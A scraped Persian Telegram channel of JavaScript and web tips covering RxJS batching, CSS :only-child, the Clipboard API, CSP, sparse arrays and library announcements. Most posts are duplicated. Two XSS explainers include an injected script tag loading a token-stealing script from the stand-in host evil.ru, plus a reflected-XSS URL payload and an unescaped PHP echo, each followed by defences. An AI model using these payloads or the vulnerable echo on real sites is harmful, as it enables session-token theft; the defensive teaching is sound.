Media is too big
VIEW IN TELEGRAM
HelloCSV: یک راهکار آماده برای وارد کردن فایلهای CSV در اپلیکیشنهای JavaScript
اگر شما یا کاربرانتان فایلهای CSV برای وارد کردن دارید، این ابزار یک جریان کاری کامل برای واردسازی فایلهای CSV در سمت کاربر ارائه میدهد که بهراحتی میتوانید آن را در اپلیکیشن خود جای دهید.
مستندات پایه در دسترس هستند:
https://hellocsv.mintlify.app/common/get-started/introduction
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
اگر شما یا کاربرانتان فایلهای CSV برای وارد کردن دارید، این ابزار یک جریان کاری کامل برای واردسازی فایلهای CSV در سمت کاربر ارائه میدهد که بهراحتی میتوانید آن را در اپلیکیشن خود جای دهید.
مستندات پایه در دسترس هستند:
https://hellocsv.mintlify.app/common/get-started/introduction
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
بررسی یک مسئله: محدودیت در حجم دادههای ارسالی به API 🧐
فرض کنید یک API در اختیار داریم که مقدار داده مجاز در هر درخواست را محدود کرده است. برای نمونه، قرار است دههزار رکورد ارسال کنیم، اما این API تنها اجازه ارسال هزار رکورد در هر بار را میدهد.
هدف: سازماندهی جریان دادهها بهگونهای که ارسال آنها در بستههای هزار تایی انجام شود.
### ✅ حل مسئله با استفاده از RxJS:
۱️⃣ تقسیم دادهها به بستههای کوچکتر:
با بهرهگیری از عملگر `bufferCount`، جریان داده را به بخشهایی با هزار عنصر تقسیم میکنیم.
۲️⃣ ارسال غیرهمزمان دادهها:
پس از آمادهسازی بستههای داده، با استفاده از `mergeMap` یا سایر عملگرهای RxJS، ارسال آنها را بهصورت آسنکرون (غیرهمزمان) انجام میدهیم.
۳️⃣ پردازش نتایج:
نتایج هر درخواست بهصورت مستقل پردازش شده و بهمحض دریافت، قابل استفاده خواهند بود.
---
👩💻 نمونه پیادهسازی:
---
### 🟢 مزایای این روش:
✔️ مدیریت اندازه درخواستها
✔️ پردازش غیرهمزمان و بهینه
✔️ پیادهسازی ساده و شفاف
---
🔚 در نهایت، با استفاده از عملگر
در صورتی که نیاز به جمعآوری نتایج تمام درخواستها باشد، میتوان از عملگر
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
فرض کنید یک API در اختیار داریم که مقدار داده مجاز در هر درخواست را محدود کرده است. برای نمونه، قرار است دههزار رکورد ارسال کنیم، اما این API تنها اجازه ارسال هزار رکورد در هر بار را میدهد.
هدف: سازماندهی جریان دادهها بهگونهای که ارسال آنها در بستههای هزار تایی انجام شود.
### ✅ حل مسئله با استفاده از RxJS:
۱️⃣ تقسیم دادهها به بستههای کوچکتر:
با بهرهگیری از عملگر `bufferCount`، جریان داده را به بخشهایی با هزار عنصر تقسیم میکنیم.
۲️⃣ ارسال غیرهمزمان دادهها:
پس از آمادهسازی بستههای داده، با استفاده از `mergeMap` یا سایر عملگرهای RxJS، ارسال آنها را بهصورت آسنکرون (غیرهمزمان) انجام میدهیم.
۳️⃣ پردازش نتایج:
نتایج هر درخواست بهصورت مستقل پردازش شده و بهمحض دریافت، قابل استفاده خواهند بود.
---
👩💻 نمونه پیادهسازی:
import { from } from 'rxjs';
import { bufferCount, mergeMap } from 'rxjs/operators';
// آرایهای از دادهها
const data = [...Array(10000).keys()];
// ایجاد یک جریان داده از آرایه
from(data).pipe(
// تقسیم جریان به بستههایی با هزار عنصر
bufferCount(1000),
// ارسال هر بسته بهصورت غیرهمزمان
mergeMap((chunk) => request(chunk))
).subscribe();
---
### 🟢 مزایای این روش:
✔️ مدیریت اندازه درخواستها
✔️ پردازش غیرهمزمان و بهینه
✔️ پیادهسازی ساده و شفاف
---
🔚 در نهایت، با استفاده از عملگر
bufferCount
در RxJS، بهراحتی میتوانیم جریان داده را به بستههایی با اندازه دلخواه تقسیم کرده و تعداد آیتمهای ارسالی در هر درخواست را مدیریت کنیم.در صورتی که نیاز به جمعآوری نتایج تمام درخواستها باشد، میتوان از عملگر
toArray
نیز بهره برد 😉#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👌1
NProgress
یک کتابخانهٔ بسیار سبک و مینیمال برای افزودن نوار نمایش پیشرفت (progress bar) در بالای صفحهٔ وب است. این ابزار به شما امکان میدهد تا روند بارگذاری یا اجرای عملیات را بهصورت بصری و جذاب به کاربران نمایش دهید.
🔗https://rstacruz.github.io/nprogress/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
یک کتابخانهٔ بسیار سبک و مینیمال برای افزودن نوار نمایش پیشرفت (progress bar) در بالای صفحهٔ وب است. این ابزار به شما امکان میدهد تا روند بارگذاری یا اجرای عملیات را بهصورت بصری و جذاب به کاربران نمایش دهید.
🔗https://rstacruz.github.io/nprogress/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
👍1👎1
### شبهکلاس CSS به نام
این شبهکلاس زمانی روی یک عنصر اعمال میشود که آن عنصر تنها فرزند والد خود باشد.
به زبان سادهتر، زمانی عمل میکند که یک عنصر، تنها آیتم موجود در داخل محفظه (یا کانتینر) خود باشد. ☺️
---
### این شبهکلاس چه کاری انجام میدهد؟
ترجمه: این استایل زمانی روی تگ
---
### 👩💻 کاربردها
⏺️ پنهان کردن عناصر اضافی، در صورتی که بیش از یکی باشند
⏺️ تغییر ظاهر عناصر «تکنفره»، مثلاً وقتی در یک فهرست فقط یک مورد وجود دارد
⏺️ کاهش فاصلهها یا حذف عناصر تزئینی، وقتی یک عنصر بهتنهایی درون کانتینر قرار دارد
---
### 🟣 ترکیب با شبهکلاس
با اینکه
این ترکیب به ما اجازه میدهد بدون استفاده از JavaScript، براساس نوع و تعداد فرزندان یک عنصر، به عنصر والد استایل دهیم. ✔️
---
### 👩💻 نمونه کد:
توضیح: اگر درون تگ
---
---
### جمعبندی
این شبهکلاس ساده، در ظاهر کوچک به نظر میرسد، اما در موقعیتهای مناسب، میتواند بسیار کاربردی و مؤثر باشد. 👍
#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
:only-child
😉این شبهکلاس زمانی روی یک عنصر اعمال میشود که آن عنصر تنها فرزند والد خود باشد.
به زبان سادهتر، زمانی عمل میکند که یک عنصر، تنها آیتم موجود در داخل محفظه (یا کانتینر) خود باشد. ☺️
---
### این شبهکلاس چه کاری انجام میدهد؟
div > p:only-child {
color: crimson;
}
ترجمه: این استایل زمانی روی تگ
<p>
اعمال میشود که تنها فرزند داخل تگ <div>
باشد.---
### 👩💻 کاربردها
⏺️ پنهان کردن عناصر اضافی، در صورتی که بیش از یکی باشند
⏺️ تغییر ظاهر عناصر «تکنفره»، مثلاً وقتی در یک فهرست فقط یک مورد وجود دارد
⏺️ کاهش فاصلهها یا حذف عناصر تزئینی، وقتی یک عنصر بهتنهایی درون کانتینر قرار دارد
---
### 🟣 ترکیب با شبهکلاس
:has
با اینکه
:only-child
بهتنهایی ابزار مفیدیست، اما من از ترکیب آن با شبهکلاس :has()
بسیار لذت میبرم.این ترکیب به ما اجازه میدهد بدون استفاده از JavaScript، براساس نوع و تعداد فرزندان یک عنصر، به عنصر والد استایل دهیم. ✔️
---
### 👩💻 نمونه کد:
ul:has(> li:only-child) {
background-color: #f0f0f0;
padding: 1rem;
border-radius: 8px;
}
توضیح: اگر درون تگ
<ul>
تنها یک تگ <li>
وجود داشته باشد، این استایل ویژه برای آن اعمال میشود.---
---
### جمعبندی
این شبهکلاس ساده، در ظاهر کوچک به نظر میرسد، اما در موقعیتهای مناسب، میتواند بسیار کاربردی و مؤثر باشد. 👍
#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
❤2👍1
کار با کلیپبورد (Clipboard) در JavaScript: متدهای `writeText()` و `write()` 🤔
افزودن قابلیت کپی در کلیپبورد یکی از وظایف رایج در توسعه رابطهای کاربری است—از دکمهی «کپی لینک» گرفته تا جایگذاری HTML یا حتی تصویر. زبان JavaScript دو متد کاربردی برای این کار ارائه میدهد:
---
### ✔️
سادهترین روش برای کپی یک رشته متنی در کلیپبورد است. استفاده از آن آسان است و در تمام مرورگرهای مدرن پشتیبانی میشود.
مناسب برای:
⏺️ کپی دادههای متنی (مانند کدهای تخفیف، پیامها)
⏺️ کپی آدرسهای اینترنتی (URL)
⏺️ تکرار آدرس ایمیل یا شماره تلفنها
مثال:
---
### ✔️
اگر نیاز دارید HTML، تصویر یا سایر انواع MIME را در کلیپبورد قرار دهید، از این متد استفاده میشود.
این متد با آرایهای از `ClipboardItem`ها کار میکند که در آنها نوع محتوا و دادهها بهصورت Blob مشخص میشوند.
امکانات:
⏺️ کپی کدهای HTML
⏺️ جایگذاری تصاویر
⏺️ پشتیبانی از انواع دادههای سفارشی و غیرمتعارف
مثال:
---
### 👩💻 چگونه تصویر را در کلیپبورد کپی کنیم؟
کپی تصاویر پیچیدهتر است. اکثر مرورگرها هنوز از انواع MIME تصویری (مانند
---
### ⚠️ نکات و محدودیتهای مهم:
✅ فقط روی پروتکل امن HTTPS یا در حالت محلی (localhost) کار میکند
✅ نیاز به تعامل کاربر دارد (مثلاً کلیک روی دکمه)
👀 متد
---
### جمعبندی:
🧩 اگر فقط با متن سروکار دارید، متد
🧩 اگر نیاز به کپی دادههای ساختاریافته یا چندرسانهای دارید، از
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
افزودن قابلیت کپی در کلیپبورد یکی از وظایف رایج در توسعه رابطهای کاربری است—از دکمهی «کپی لینک» گرفته تا جایگذاری HTML یا حتی تصویر. زبان JavaScript دو متد کاربردی برای این کار ارائه میدهد:
writeText()
و write()
. در ادامه با نحوهٔ استفاده و کاربرد هرکدام آشنا میشویم.---
### ✔️
navigator.clipboard.writeText()
سادهترین روش برای کپی یک رشته متنی در کلیپبورد است. استفاده از آن آسان است و در تمام مرورگرهای مدرن پشتیبانی میشود.
مناسب برای:
⏺️ کپی دادههای متنی (مانند کدهای تخفیف، پیامها)
⏺️ کپی آدرسهای اینترنتی (URL)
⏺️ تکرار آدرس ایمیل یا شماره تلفنها
مثال:
navigator.clipboard.writeText("سلام دنیا!");
---
### ✔️
navigator.clipboard.write()
اگر نیاز دارید HTML، تصویر یا سایر انواع MIME را در کلیپبورد قرار دهید، از این متد استفاده میشود.
این متد با آرایهای از `ClipboardItem`ها کار میکند که در آنها نوع محتوا و دادهها بهصورت Blob مشخص میشوند.
امکانات:
⏺️ کپی کدهای HTML
⏺️ جایگذاری تصاویر
⏺️ پشتیبانی از انواع دادههای سفارشی و غیرمتعارف
مثال:
const blob = new Blob(["<b>متن بولد</b>"], { type: "text/html" });
const item = new ClipboardItem({ "text/html": blob });
navigator.clipboard.write([item]);
---
### 👩💻 چگونه تصویر را در کلیپبورد کپی کنیم؟
کپی تصاویر پیچیدهتر است. اکثر مرورگرها هنوز از انواع MIME تصویری (مانند
image/jpeg
) در ClipboardItem
پشتیبانی کامل ندارند. بهصورت محدود، میتوان تصویر را به image/png
تبدیل کرد و با استفاده از عنصر <canvas>
در کلیپبورد قرار داد.---
### ⚠️ نکات و محدودیتهای مهم:
✅ فقط روی پروتکل امن HTTPS یا در حالت محلی (localhost) کار میکند
✅ نیاز به تعامل کاربر دارد (مثلاً کلیک روی دکمه)
👀 متد
write()
ممکن است در برخی مرورگرها بهطور کامل پشتیبانی نشود---
### جمعبندی:
🧩 اگر فقط با متن سروکار دارید، متد
writeText()
در بیش از نود و نه درصد مواقع پاسخگو خواهد بود.🧩 اگر نیاز به کپی دادههای ساختاریافته یا چندرسانهای دارید، از
write()
استفاده کنید—اما قبل از آن حتماً بررسی کنید که مرورگر مقصد از آن پشتیبانی میکند. 😉#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍2
Lingui.js
یک کتابخانه برای بینالمللیسازی (i18n) در برنامههای جاوااسکریپت است. این کتابخانه از استاندارد ICU MessageFormat برای مدیریت قواعد پیچیدهی استفاده میکند. همچنین ابزارهایی برای استخراج پیامها از درون کد در اختیار توسعهدهنده قرار میدهد
این ابزار انتخاب مناسبی برای پروژههایی است که به یک سیستم بومیسازی (localization) انعطافپذیر نیاز دارند.
🔗https://lingui.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
یک کتابخانه برای بینالمللیسازی (i18n) در برنامههای جاوااسکریپت است. این کتابخانه از استاندارد ICU MessageFormat برای مدیریت قواعد پیچیدهی استفاده میکند. همچنین ابزارهایی برای استخراج پیامها از درون کد در اختیار توسعهدهنده قرار میدهد
این ابزار انتخاب مناسبی برای پروژههایی است که به یک سیستم بومیسازی (localization) انعطافپذیر نیاز دارند.
🔗https://lingui.dev/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
🔒 XSS چیست؟
XSS یا Cross-Site Scripting نوعی آسیبپذیری امنیتی در وب است که در آن، مهاجم میتواند کدی مخرب (معمولاً JavaScript) را در صفحه وب تزریق کند؛ و این کد در مرورگر قربانی بهعنوان بخشی از سایت معتبر اجرا میشود.
با استفاده از XSS، مهاجم میتواند:
* به کوکیها**، **LocalStorage و سایر دادههای ذخیرهشده در مرورگر دسترسی پیدا کند
* محتوای صفحه را تغییر دهد (مثلاً فرمهای فیشینگ جایگزین شود)
* و در نهایت، دستورات مختلفی را بهجای کاربر قربانی اجرا کند: از ارسال پیام گرفته تا انجام تراکنشهای مالی یا هر اقدام دیگری
---
✋ یکی از رایجترین سناریوهای XSS امروزه، نصب افزونههای مرورگر ناامن است که کاربر بدون دقت، دسترسیهای زیادی به آنها میدهد.
### مثالی ساده:
۱. کاربر افزونهای را نصب میکند که صفحات (مثلاً سایت بانک) را بررسی کرده و با
۲. افزونه یک کد مخرب وارد صفحه میکند:
۳. این اسکریپت، توکنهای ذخیرهشده در LocalStorage را استخراج کرده و به سرور مهاجم ارسال میکند
🔚 نتیجه: با این توکن، مهاجم میتواند بهراحتی از طرف شما اطلاعات بدزدد، تراکنش انجام دهد یا عملیات خطرناک دیگری صورت دهد.
و این تنها یکی از هزاران سناریوی ممکن برای حملهٔ XSS است.
---
🛡 چگونه در برابر XSS از خود محافظت کنیم؟
✅ همیشه ورودیهای کاربر را ایمنسازی (escape) کنید
✅ از روشهای ناامن و خام برای درج HTML مثل
✅ برای کوکیها از فلگ HttpOnly استفاده کنید تا با JavaScript قابل خواندن نباشند
✅ از سیاست امنیت محتوایی (CSP - Content Security Policy) استفاده کنید
(در پستهای بعدی درباره آن بیشتر خواهیم گفت)
—
📌 سایتهایی که از CSP استفاده نمیکنند یا حاوی دستور
ایمنسازی وبسایتها نهتنها وظیفهٔ توسعهدهنده، بلکه مسئولیتی در برابر کاربران است.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
XSS یا Cross-Site Scripting نوعی آسیبپذیری امنیتی در وب است که در آن، مهاجم میتواند کدی مخرب (معمولاً JavaScript) را در صفحه وب تزریق کند؛ و این کد در مرورگر قربانی بهعنوان بخشی از سایت معتبر اجرا میشود.
با استفاده از XSS، مهاجم میتواند:
* به کوکیها**، **LocalStorage و سایر دادههای ذخیرهشده در مرورگر دسترسی پیدا کند
* محتوای صفحه را تغییر دهد (مثلاً فرمهای فیشینگ جایگزین شود)
* و در نهایت، دستورات مختلفی را بهجای کاربر قربانی اجرا کند: از ارسال پیام گرفته تا انجام تراکنشهای مالی یا هر اقدام دیگری
---
✋ یکی از رایجترین سناریوهای XSS امروزه، نصب افزونههای مرورگر ناامن است که کاربر بدون دقت، دسترسیهای زیادی به آنها میدهد.
### مثالی ساده:
۱. کاربر افزونهای را نصب میکند که صفحات (مثلاً سایت بانک) را بررسی کرده و با
innerHTML
محتوایی به آن اضافه میکند۲. افزونه یک کد مخرب وارد صفحه میکند:
<script src="https://evil.ru/steal.js"></script>
۳. این اسکریپت، توکنهای ذخیرهشده در LocalStorage را استخراج کرده و به سرور مهاجم ارسال میکند
🔚 نتیجه: با این توکن، مهاجم میتواند بهراحتی از طرف شما اطلاعات بدزدد، تراکنش انجام دهد یا عملیات خطرناک دیگری صورت دهد.
و این تنها یکی از هزاران سناریوی ممکن برای حملهٔ XSS است.
---
🛡 چگونه در برابر XSS از خود محافظت کنیم؟
✅ همیشه ورودیهای کاربر را ایمنسازی (escape) کنید
✅ از روشهای ناامن و خام برای درج HTML مثل
innerHTML
پرهیز کنید✅ برای کوکیها از فلگ HttpOnly استفاده کنید تا با JavaScript قابل خواندن نباشند
✅ از سیاست امنیت محتوایی (CSP - Content Security Policy) استفاده کنید
(در پستهای بعدی درباره آن بیشتر خواهیم گفت)
—
📌 سایتهایی که از CSP استفاده نمیکنند یا حاوی دستور
unsafe-inline
هستند، طعمهٔ مناسبی برای این نوع حملهها محسوب میشوند.ایمنسازی وبسایتها نهتنها وظیفهٔ توسعهدهنده، بلکه مسئولیتی در برابر کاربران است.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1
نسخهٔ آزمایشی Vue v3.6.0-alpha منتشر شده است
(لینک: https://github.com/vuejs/core/releases/tag/v3.6.0-alpha.1)
که در آن حالت Vapor نیز معرفی شده است.
توصیه میشود این قابلیت را با احتیاط، تنها در برنامههای کوچک، یا در بخشهایی از پروژه که نیاز به عملکرد بالا دارند، بهصورت کامل یا جزئی مورد استفاده قرار دهید.
ایدهٔ اصلی پشت حالت Vapor این است که تعامل با DOM مرورگر بهطور مستقیم انجام شود، نه از طریق VDOM. این روش بهصورت نظری میتواند موجب افزایش سرعت و کاهش حجم نهایی بسته شود. با این حال، در بیشتر برنامههای نوشتهشده با Vue، احتمالاً این تفاوتها چندان محسوس نخواهند بود، حتی با وجود بنچمارکها.
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
(لینک: https://github.com/vuejs/core/releases/tag/v3.6.0-alpha.1)
که در آن حالت Vapor نیز معرفی شده است.
توصیه میشود این قابلیت را با احتیاط، تنها در برنامههای کوچک، یا در بخشهایی از پروژه که نیاز به عملکرد بالا دارند، بهصورت کامل یا جزئی مورد استفاده قرار دهید.
ایدهٔ اصلی پشت حالت Vapor این است که تعامل با DOM مرورگر بهطور مستقیم انجام شود، نه از طریق VDOM. این روش بهصورت نظری میتواند موجب افزایش سرعت و کاهش حجم نهایی بسته شود. با این حال، در بیشتر برنامههای نوشتهشده با Vue، احتمالاً این تفاوتها چندان محسوس نخواهند بود، حتی با وجود بنچمارکها.
#️⃣#tool
👥@IR_javascript_group
🆔@IR_javascript
GitHub
Release v3.6.0-alpha.1 · vuejs/core
Features
vapor mode (#12359) (bfe5ce3)
Please see About Vapor Mode section below for details.
Performance Improvements
reactivity: refactor reactivity core by porting alien-signals (#12349) (3...
vapor mode (#12359) (bfe5ce3)
Please see About Vapor Mode section below for details.
Performance Improvements
reactivity: refactor reactivity core by porting alien-signals (#12349) (3...
👍5
🛡 سیاست امنیت محتوا (Content Security Policy - CSP)
CSP یک مکانیزم امنیتی در مرورگرها است که به کمک آن میتوان مشخص کرد منابعی مانند اسکریپتها، استایلها، فونتها، تصاویر و... فقط از چه مبدأهایی قابل بارگذاری و اجرا هستند.
هدف اصلی CSP این است که کاربر را در برابر حملات تزریقی مانند XSS محافظت کند، با مسدود کردن هرگونه منبع غیرمجاز و غیرقابلاعتماد.
---
🔧 نحوهٔ تنظیم CSP
CSP را میتوان از دو طریق مشخص کرد:
۱. از طریق هدر HTTP
۲. از طریق تگ `<meta>` در HTML
راستش را بخواهید، بنده شخصاً هرگز از روش تگ meta استفاده نکردهام، چون این روش نهتنها انعطافپذیری بسیار کمی دارد، بلکه تنها برای صفحات کاملاً ایستا مناسب است.
بهصورت رایج، CSP را میتوان در تنظیمات Nginx، Express یا حتی Docker بهصورت هدر زیر تعریف کرد:
📝 این دستور به این معناست که فقط منابعی که از دامنهٔ خود سایت یا trusted.ru میآیند، قابل بارگذاری هستند.
---
📛 اگر CSP بهگونهای پیکربندی شده باشد که اجازهی استفاده از اسکریپتهای درونخطی (
❗️
گرچه این کار ممکن است در برخی پروژهها راحت باشد، اما بهشدت امنیت سایت را کاهش میدهد.
نمونهای از CSP همراه با
---
🧩 بهطور کلی، اگر دست به کاری نزنید که از دید امنیتی واقعاً خطرناک باشد، بسیاری از فریمورکهای مدرن مانند Nuxt یا Next بهصورت پیشفرض امکانات امنیتی خوبی ارائه میدهند.
اگر دقیق نمیدانید چه کاری انجام میدهید، این تنظیمات پیشفرض را غیرفعال نکنید.
اما یادتان باشد: هیچ فریمورکی نمیتواند شما را کاملاً ایمن کند.
---
⚠️ CSP راهحل نهایی نیست، اما ابزاری بسیار قدرتمند برای "دفاع در عمق" است.
پیشنهاد میکنم حتی اگر شده یک قانون ساده مثل `default-src 'self'` را اعمال کنید و بعد بهمرور آن را توسعه دهید.
همین قدم ساده، بهمراتب بهتر از هیچ کاری نکردن است.
🌹 ممنون از اینکه مطالعه کردید، واقعاً برایم ارزشمند است 🥰
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
CSP یک مکانیزم امنیتی در مرورگرها است که به کمک آن میتوان مشخص کرد منابعی مانند اسکریپتها، استایلها، فونتها، تصاویر و... فقط از چه مبدأهایی قابل بارگذاری و اجرا هستند.
هدف اصلی CSP این است که کاربر را در برابر حملات تزریقی مانند XSS محافظت کند، با مسدود کردن هرگونه منبع غیرمجاز و غیرقابلاعتماد.
---
🔧 نحوهٔ تنظیم CSP
CSP را میتوان از دو طریق مشخص کرد:
۱. از طریق هدر HTTP
۲. از طریق تگ `<meta>` در HTML
راستش را بخواهید، بنده شخصاً هرگز از روش تگ meta استفاده نکردهام، چون این روش نهتنها انعطافپذیری بسیار کمی دارد، بلکه تنها برای صفحات کاملاً ایستا مناسب است.
بهصورت رایج، CSP را میتوان در تنظیمات Nginx، Express یا حتی Docker بهصورت هدر زیر تعریف کرد:
Content-Security-Policy: default-src 'self' https://trusted.ru;
📝 این دستور به این معناست که فقط منابعی که از دامنهٔ خود سایت یا trusted.ru میآیند، قابل بارگذاری هستند.
---
📛 اگر CSP بهگونهای پیکربندی شده باشد که اجازهی استفاده از اسکریپتهای درونخطی (
'unsafe-inline'
) یا دامنههای ناشناس را ندهد، کد مخرب مهاجم اجرا نخواهد شد — چون مرورگر، تگهای <script>
خارج از لیست سفید را بلاک میکند. این کار بهطرز مؤثری خطر حملات XSS را کاهش میدهد.❗️
'unsafe-inline'
یکی از دستورهای CSP است که به مرورگر اجازه میدهد اسکریپتهایی که مستقیماً در HTML قرار دارند را اجرا کند.گرچه این کار ممکن است در برخی پروژهها راحت باشد، اما بهشدت امنیت سایت را کاهش میدهد.
نمونهای از CSP همراه با
unsafe-inline
:Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';
---
🧩 بهطور کلی، اگر دست به کاری نزنید که از دید امنیتی واقعاً خطرناک باشد، بسیاری از فریمورکهای مدرن مانند Nuxt یا Next بهصورت پیشفرض امکانات امنیتی خوبی ارائه میدهند.
اگر دقیق نمیدانید چه کاری انجام میدهید، این تنظیمات پیشفرض را غیرفعال نکنید.
اما یادتان باشد: هیچ فریمورکی نمیتواند شما را کاملاً ایمن کند.
---
⚠️ CSP راهحل نهایی نیست، اما ابزاری بسیار قدرتمند برای "دفاع در عمق" است.
پیشنهاد میکنم حتی اگر شده یک قانون ساده مثل `default-src 'self'` را اعمال کنید و بعد بهمرور آن را توسعه دهید.
همین قدم ساده، بهمراتب بهتر از هیچ کاری نکردن است.
🌹 ممنون از اینکه مطالعه کردید، واقعاً برایم ارزشمند است 🥰
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
🔥1
در واقع، راههای متعددی برای ایجاد آرایهای با صد عنصر وجود دارد. بیایید با سادهترین روش شروع کنیم:
اما این روش یک مشکل دارد: نمیتوان بهراحتی آن را مقداردهی کرد.
برای حل این مشکل، کافیست از متد
یا اگر بخواهید آرایه را با اندیسها پر کنید، شاید به سراغ
❗️سعی کنید حدس بزنید نتیجه اجرای این کد چیست؟ 😄
پاسخ:
⬇️
دلیل این موضوع این است که فراخوانی
برای مثال اگر بنویسید:
نتیجه برابر با صفر است، چون عملاً هیچ مقداری در آن آرایه وجود ندارد، بنابراین
برای استفاده از
این ترفند باعث میشود آرایهای با صد مقدار
اما روش مورد علاقهی من و بسیار خوانا و تمیز:
این روش هم واضحتر است و هم میتوان تابع نگاشت (mapper function) را مستقیماً به عنوان آرگومان دوم پاس داد:
یا اگر بخواهیم خیلی ساده و سنتی عمل کنیم:
✨ ممنون که مطالعه کردید؛ واقعاً برای من ارزشمنده ❤️
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
Array(100)
اما این روش یک مشکل دارد: نمیتوان بهراحتی آن را مقداردهی کرد.
برای حل این مشکل، کافیست از متد
fill
استفاده کنید:Array(100).fill(0)
یا اگر بخواهید آرایه را با اندیسها پر کنید، شاید به سراغ
map
بروید:Array(100).map((_, index) => index)
❗️سعی کنید حدس بزنید نتیجه اجرای این کد چیست؟ 😄
پاسخ:
⬇️
[empty × 100]
یعنی یک آرایه پراکنده (Sparse Array)، نه آرایهای شامل اندیسها.دلیل این موضوع این است که فراخوانی
Array(100)
یک آرایهی پراکنده میسازد—آرایهای که برای عناصرش حتی حافظهای اختصاص داده نمیشود؛ فقط ساختاری با length
صد ایجاد میشود.برای مثال اگر بنویسید:
Object.keys(Array(100)).length
نتیجه برابر با صفر است، چون عملاً هیچ مقداری در آن آرایه وجود ندارد، بنابراین
map
هم کار نمیکند.برای استفاده از
map
باید آرایه را از حالت "پراکنده" به آرایهای معمولی تبدیل کنیم. یکی از روشهای مرسوم:[...Array(100)].map((_, index) => index)
این ترفند باعث میشود آرایهای با صد مقدار
undefined
ساخته شود که حالا قابل پیمایش با map
است.اما روش مورد علاقهی من و بسیار خوانا و تمیز:
Array.from({ length: 100 })
این روش هم واضحتر است و هم میتوان تابع نگاشت (mapper function) را مستقیماً به عنوان آرگومان دوم پاس داد:
Array.from({ length: 100 }, () => 'سلام')
یا اگر بخواهیم خیلی ساده و سنتی عمل کنیم:
const array = []
for (let i = 0; i < 100; i++) {
array.push('progway')
}
✨ ممنون که مطالعه کردید؛ واقعاً برای من ارزشمنده ❤️
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
❤3
🔓 نمونهای دیگر از آسیبپذیری XSS
بیایید فرض کنیم سایتی با دامنه
---
🧑💻 مهاجم چه کاری انجام میدهد؟
۱. یک لینک خاص ایجاد میکند، مثلاً:
۲. از طریق ایمیل فیشینگ، پیام در شبکههای اجتماعی یا راههای دیگر، شما را فریب داده و وادار به کلیک روی این لینک میکند.
---
🌐 چه اتفاقی در مرورگر شما میافتد؟
۱. شما وارد
۲. سرور سایت
۳. مرورگر شما، چون این اسکریپت از سایت معتبر
💥 نتیجه؟ اسکریپت مهاجم اجرا شده و ممکن است اطلاعات حساس شما دزدیده شود — یا حتی «کلیهتان»! 🫣
---
❓ آیا CSP در اینجا کمک میکند؟
پاسخ: متأسفانه نه.
CSP فقط منبع اسکریپت را بررسی میکند، نه محتوای آن را. در این مثال، خود سرور معتبر
---
✅ راهحل مناسب چیست؟
یک روش ساده اما بسیار مؤثر: ایمنسازی یا "اکسکیپکردن" (escaping) دادههای ورودی.
بهجای اینکه دادههای کاربر مستقیماً در صفحه وارد شوند، باید کاراکترهای خطرناک مثل
---
📌 نتیجهگیری:
CSP یک ابزار مفید است، اما نمیتواند جایگزین اصول اولیهٔ ایمنسازی ورودیها شود.
همیشه دادههایی که از کاربر میگیرید را پیش از نمایش، پاکسازی و ایمنسازی کنید.
این سادهترین و مؤثرترین راه مقابله با XSS است.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
بیایید فرض کنیم سایتی با دامنه
a.com
در برابر حملات XSS محافظت نشده است. حالا تصور کنید در این سایت، یک پارامتر در URL وجود دارد که بدون هیچگونه بررسی یا پاکسازی، مستقیماً در صفحه نمایش داده میشود:<div>نتایج جستوجو: <?php echo $_GET['query']; ?></div>
---
🧑💻 مهاجم چه کاری انجام میدهد؟
۱. یک لینک خاص ایجاد میکند، مثلاً:
https://a.com/search?query=<script>alert('من کلیهات رو دزدیدم!')</script>
۲. از طریق ایمیل فیشینگ، پیام در شبکههای اجتماعی یا راههای دیگر، شما را فریب داده و وادار به کلیک روی این لینک میکند.
---
🌐 چه اتفاقی در مرورگر شما میافتد؟
۱. شما وارد
a.com
با آن لینک آلوده میشوید.۲. سرور سایت
a.com
اسکریپت <script>...</script>
را درون HTML صفحه قرار میدهد.۳. مرورگر شما، چون این اسکریپت از سایت معتبر
a.com
آمده، آن را اجرا میکند.💥 نتیجه؟ اسکریپت مهاجم اجرا شده و ممکن است اطلاعات حساس شما دزدیده شود — یا حتی «کلیهتان»! 🫣
---
❓ آیا CSP در اینجا کمک میکند؟
پاسخ: متأسفانه نه.
CSP فقط منبع اسکریپت را بررسی میکند، نه محتوای آن را. در این مثال، خود سرور معتبر
a.com
این اسکریپت را وارد صفحه کرده است، بنابراین CSP دلیلی برای مسدود کردن آن نمیبیند.---
✅ راهحل مناسب چیست؟
یک روش ساده اما بسیار مؤثر: ایمنسازی یا "اکسکیپکردن" (escaping) دادههای ورودی.
بهجای اینکه دادههای کاربر مستقیماً در صفحه وارد شوند، باید کاراکترهای خطرناک مثل
<
, >
, "
به معادل امن HTML تبدیل شوند. مثلاً:<div>نتایج جستوجو: <?php echo htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8'); ?></div>
---
📌 نتیجهگیری:
CSP یک ابزار مفید است، اما نمیتواند جایگزین اصول اولیهٔ ایمنسازی ورودیها شود.
همیشه دادههایی که از کاربر میگیرید را پیش از نمایش، پاکسازی و ایمنسازی کنید.
این سادهترین و مؤثرترین راه مقابله با XSS است.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
